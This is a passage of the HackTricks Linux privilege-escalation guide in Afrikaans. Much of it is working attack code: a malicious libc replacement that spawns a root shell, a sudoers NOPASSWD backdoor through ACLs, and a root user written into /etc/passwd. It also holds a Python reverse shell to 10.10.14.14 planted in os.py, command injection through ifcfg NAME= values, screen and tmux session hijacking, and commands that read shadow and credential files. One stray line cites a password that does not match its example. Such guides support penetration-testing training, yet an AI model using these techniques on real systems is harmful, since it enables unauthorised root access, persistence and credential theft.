level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Deur die lib na /var/tmp/flag15/ te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die RPATH-veranderlike.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Skep dan ’n kwaadwillige biblioteek in /var/tmp met gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Vermoëns

Linux vermoëns verskaf ’n substel van die beskikbare root privileges aan ’n proses. Dit breek effektief root privileges op in kleiner en onderskeibare eenhede. Elke een van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel privileges verklein, wat die risiko’s van uitbuiting verminder.
Lees die volgende bladsy om meer te leer oor vermoëns en hoe om dit te misbruik:

Linux Capabilities

Gids-toestemmings

In ’n gids dui die bit vir “execute” aan dat die betrokke gebruiker in die gids kan “cd” .
Die “read” bit dui aan dat die gebruiker die files kan list, en die “write” bit dui aan dat die gebruiker delete en create nuwe files kan.

ACLs

Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om die tradisionele ugo/rwx permissions te oorheers. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur toe te laat of te weier dat spesifieke gebruikers wat nie die eienaars of deel van die groep is nie, regte kry. Hierdie vlak van granulariteit verseker meer presiese toegangsbestuur. Verdere besonderhede kan gevind word here.

Gee gebruiker “kali” read en write permissions oor ’n lêer:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Kry lêers met spesifieke ACLs uit die stelsel:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Verborge ACL backdoor op sudoers drop-ins

’n Algemene miskonfigurasie is ’n aan root behorende lêer in /etc/sudoers.d/ met modus 440 wat steeds skryftoegang aan ’n low-priv gebruiker via ACL verleen.

ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>

As jy iets soos user:alice:rw- sien, kan die gebruiker ’n sudo rule byvoeg ondanks beperkende mode-bits:

echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l

Dit is ’n hoë-impak ACL persistence/privesc-pad omdat dit maklik oor die hoof gesien kan word in resensies wat slegs ls -l gebruik.

Oop shell sessies

In ou weergawes kan jy dalk hijack ’n shell sessie van ’n ander gebruiker (root).
In nuutste weergawes sal jy slegs in staat wees om connect na screen sessies van jou eie gebruiker. Jy kan egter interessante inligting binne die sessie vind.

screen sessions hijacking

Lys screen sessies

screen -ls
screen -ls <username>/ # Show another user' screen sessions

# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null

Koppel aan ’n sessie

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dit was ’n probleem met oue tmux weergawes. Ek kon nie ’n tmux (v2.1) sessie wat deur root geskep is as ’n nie-geprivilegieerde gebruiker kaap nie.

Lys tmux sessies

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Koppel aan ’n sessie

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Kyk na Valentine box from HTB vir ’n voorbeeld.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.
Hierdie fout word veroorsaak wanneer ’n nuwe ssh sleutel in daardie OS geskep word, aangesien slegs 32,768 variasies moontlik was. Dit beteken dat alle moontlikhede bereken kan word en met die ssh public key kan jy na die ooreenstemmende private key soek. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

• PasswordAuthentication: Spesifiseer of wagwoordverifikasie toegelaat word. Die verstek is no.
• PubkeyAuthentication: Spesifiseer of public key authentication toegelaat word. Die verstek is yes.
• PermitEmptyPasswords: Wanneer wagwoordverifikasie toegelaat word, spesifiseer dit of die bediener login na rekeninge met leë wagwoordstringe toelaat. Die verstek is no.

Login control files

Hierdie lêers beïnvloed wie kan aanmeld en hoe:

• /etc/nologin: indien teenwoordig, blokkeer nie-root aanmeldings en druk sy boodskap.
• /etc/securetty: beperk waar root kan aanmeld (TTY toegangslys).
• /etc/motd: post-login-banner (kan leak omgewing- of onderhoudsbesonderhede).

PermitRootLogin

Spesifiseer of root via ssh kan aanmeld, verstek is no. Moontlike waardes:

• yes: root kan aanmeld met wagwoord en private key
• without-password or prohibit-password: root kan slegs met ’n private key aanmeld
• forced-commands-only: Root kan slegs aanmeld met private key en as die commands opsies gespesifiseer is
• no : nee

AuthorizedKeysFile

Spesifiseer lêers wat die public keys bevat wat gebruik kan word vir gebruikerverifikasie. Dit kan tokens soos %h bevat, wat vervang sal word deur die tuisgids. Jy kan absolute paths aandui (begin met /) of relatiewe paaie vanaf die gebruiker se tuisgids. Byvoorbeeld:

AuthorizedKeysFile    .ssh/authorized_keys access

Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die private key van die gebruiker “testusername”, gaan ssh die public key van jou key vergelyk met dié wat in /home/testusername/.ssh/authorized_keys en /home/testusername/access geleë is.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding laat jou toe om use your local SSH keys instead of leaving keys (without passphrases!) op jou bediener te hê. Daarmee sal jy via ssh in staat wees om jump to a host en van daaraf jump to another host using die key wat in jou initial host geleë is.

Jy moet hierdie opsie in $HOME/.ssh.config soos volg stel:

Host example.com
ForwardAgent yes

Let wel dat as Host * is, elke keer wanneer die gebruiker na ’n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat ’n sekuriteitsprobleem is).

Die lêer /etc/ssh_config kan override hierdie opsies en hierdie konfigurasie toelaat of weier.
Die lêer /etc/sshd_config kan toelaat of weier ssh-agent forwarding met die sleutelwoord AllowAgentForwarding (standaard is toelaat).

As jy vind dat Forward Agent in ’n omgewing gekonfigureer is, lees die volgende bladsy aangesien you may be able to abuse it to escalate privileges:

SSH Forward Agent exploitation

Interessante Lêers

Profiellêers

Die lêer /etc/profile en die lêers onder /etc/profile.d/ is skripte wat uitgevoer word wanneer ’n gebruiker ’n nuwe shell begin. Daarom, as jy enige van hulle kan skryf of wysig kan jy escalate privileges.

ls -l /etc/profile /etc/profile.d/

As enige vreemde profielskrip gevind word, moet jy dit nagaan vir sensitiewe besonderhede.

Passwd/Shadow Lêers

Afhangend van die OS kan die /etc/passwd en /etc/shadow-lêers ’n ander naam hê of daar kan ’n rugsteun wees. Daarom word dit aanbeveel om al hulle te vind en te kyk of jy dit kan lees om te sien of daar hashes in die lêers is:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In sommige gevalle kan jy password hashes in die /etc/passwd (of ekwivalent) lêer vind

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Skryfbaar /etc/passwd

Eerstens, genereer ’n password met een van die volgende kommando’s.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Voeg dan die gebruiker hacker by en voeg die gegenereerde wagwoord by: s9R!7vK2#bQx

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Byvoorbeeld: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Jy kan nou die su-opdrag gebruik met hacker:hacker

Alternatiewelik kan jy die volgende reëls gebruik om ’n vals gebruiker sonder ’n wagwoord by te voeg.
WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

LET WEL: Op BSD-platforms is /etc/passwd geleë by /etc/pwd.db en /etc/master.passwd; ook is /etc/shadow hernoem na /etc/spwd.db.

Jy moet nagaan of jy kan skryf in sommige sensitiewe lêers. Byvoorbeeld, kan jy na ’n dienskonfigurasielêer skryf?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Byvoorbeeld, as die masjien ’n tomcat-server draai en jy kan wysig die Tomcat dienskonfigurasielêer binne /etc/systemd/, dan kan jy die volgende reëls wysig:

ExecStart=/path/to/backdoor
User=root
Group=root

Jou backdoor sal die volgende keer dat tomcat gestart word, uitgevoer word.

Kontroleer gidse

Die volgende gidses mag rugsteunkopies of interessante inligting bevat: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit.)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Vreemde ligging/Owned lêers

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Gewysigde lêers in die laaste minute

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB-lêers

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Verborge lêers

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-lêers

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rugsteunkopieë

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekende lêers wat wagwoorde bevat

Lees die kode van linPEAS, dit soek na verskeie moontlike lêers wat wagwoorde kan bevat.
Nog ’n interessante tool wat jy daarvoor kan gebruik is: LaZagne wat ’n open source toepassing is wat gebruik word om baie wagwoorde wat op ’n plaaslike rekenaar gestoor is vir Windows, Linux & Mac op te haal.

Logboeke

As jy logboeke kan lees, kan jy dalk interessante/vertroulike inligting daarin vind. Hoe vreemder die logboek, hoe meer interessant sal dit waarskynlik wees.
Ook kan sommige “sleg” gekonfigureerde (backdoored?) audit logs jou toelaat om wagwoorde binne audit logs te registreer, soos in hierdie berig verduidelik: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Om logs te lees sal die groep adm baie nuttig wees.

Shell lêers

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Jy moet ook kyk vir lêers wat die woord “password” in hul naam of binne die inhoud bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.
Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat linpeas perform nagaan.

Skryfbare lêers

Python library hijacking

As jy weet van waar ’n python script uitgevoer gaan word en jy kan binne daardie gids skryf of jy kan wysig python libraries, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library).

Om backdoor the library, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

’n Kwesbaarheid in logrotate laat gebruikers met skryftoestemmings op ’n loglêer of die ouerdirektore moontlik toe om verhoogde privileges te verkry. Dit is omdat logrotate, wat dikwels as root loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos /etc/bash_completion.d/. Dit is belangrik om toestemmings nie net in /var/log na te gaan nie, maar ook in enige gids waar logrotasie toegepas word.

Tip

Hierdie kwesbaarheid raak logrotate weergawe 3.18.0 en ouer

Meer gedetailleerde inligting oor die kwesbaarheid is op hierdie bladsy te vind: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Jy kan hierdie kwesbaarheid benut met logrotten.

Hierdie kwesbaarheid is baie soortgelyk aan CVE-2016-1247 (nginx logs), so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy privilegies kan eskaleer deur die logs met symlinks te vervang.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

As ’n gebruiker om een of ander rede in staat is om ’n ifcf-<whatever> skrip na /etc/sysconfig/network-scripts te skryf of ’n bestaande een te verander, dan is jou system is pwned.

Network scripts, ifcg-eth0 byvoorbeeld, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d).

In my geval word die NAME= attribuut in hierdie netwerk-skripte nie korrek hanteer nie. As jy wit/blank spasie in die naam het die stelsel probeer die deel ná die wit/blank spasie uitvoer. Dit beteken dat alles na die eerste blan(spasie) as root uitgevoer word.

Byvoorbeeld: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Let asseblief op die leë spasie tussen Network en /bin/id)

init, init.d, systemd, en rc.d

Die gids /etc/init.d huisves skripte vir System V init (SysVinit), die klassieke Linux diensbestuurstelsel. Dit sluit skripte in om dienste te start, stop, restart, en soms reload. Hierdie kan direk uitgevoer word of via simboliese skakels gevind in /etc/rc?.d/. ’n Alternatiewe pad in Redhat-stelsels is /etc/rc.d/init.d.

Aan die ander kant is /etc/init geassosieer met Upstart, ’n nuwer diensbestuur wat deur Ubuntu geïntroduseer is, en wat konfigurasielêers gebruik vir diensbestuurtake. Ten spyte van die oorgang na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik as gevolg van ’n verenigbaarheidlaag in Upstart.

systemd ontstaan as ’n moderne init- en diensbestuurder wat gevorderde funksies bied soos aanvraaggestuurde opstart van daemons, bestuur van automounts, en momentopnames van die stelseltoestand. Dit organiseer lêers in /usr/lib/systemd/ vir verspreidingspakkette en /etc/systemd/system/ vir administrateur-wysigings, wat die stelseladministrasieproses stroomlyn.

Ander Wenke

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks hook gewoonlik ’n syscall om bevoorregte kernelfunksionaliteit aan ’n userspace manager bloot te stel. Swakke manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan ’n plaaslike app in staat stel om die manager na te boots en tot root te eskaleer op reeds-geroote toestelle. Leer meer en sien uitbuitingsbesonderhede hier:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-gedrewe service discovery in VMware Tools/Aria Operations kan ’n binêre pad uit proses-opdragreëls onttrek en dit met -v uitvoer onder ’n bevoorregte konteks. Permissiewe patrone (bv. gebruik van \S) kan aanvaller-geplaatste listeners in skryfbare plekke (bv. /tmp/httpd) pas, wat lei tot uitvoering as root (CWE-426 Untrusted Search Path).

Leer meer en sien ’n gegeneraliseerde patroon wat van toepassing is op ander discovery/monitoring stacks hier:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel-sekuriteitsbeskerming

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Meer hulp

Static impacket binaries

Linux/Unix Privesc Tools

Beste hulpmiddel om na Linux local privilege escalation vectors te soek: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumereer kernel kwesbaarhede in Linux en MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (fisiese toegang): https://github.com/GDSSecurity/EvilAbigail
Versameling van meer skripte: https://github.com/1N3/PrivEsc

References

• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
• 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
• 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
• alseambusher/crontab-ui
• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• https://payatu.com/guide-linux-privilege-escalation/
• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
• https://touhidshaikh.com/blog/?p=827
• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
• https://github.com/frizb/Linux-Privilege-Escalation
• https://github.com/lucyoa/kernel-exploits
• https://github.com/rtcrowley/linux-private-i
• https://www.linux.com/news/what-socket/
• https://muzec0318.github.io/posts/PG/peppo.html
• https://www.linuxjournal.com/article/7744
• https://blog.certcube.com/suid-executables-linux-privilege-escalation/
• https://juggernaut-sec.com/sudo-part-2-lpe
• https://linuxconfig.org/how-to-manage-acls-on-linux
• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• https://www.linode.com/docs/guides/what-is-systemd/
• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
• GNU Bash Manual – BASH_ENV (non-interactive startup file)
• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
• 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
• 0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)
• NVISO – You name it, VMware elevates it (CVE-2025-41244)
• 0xdf – HTB: Expressway

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.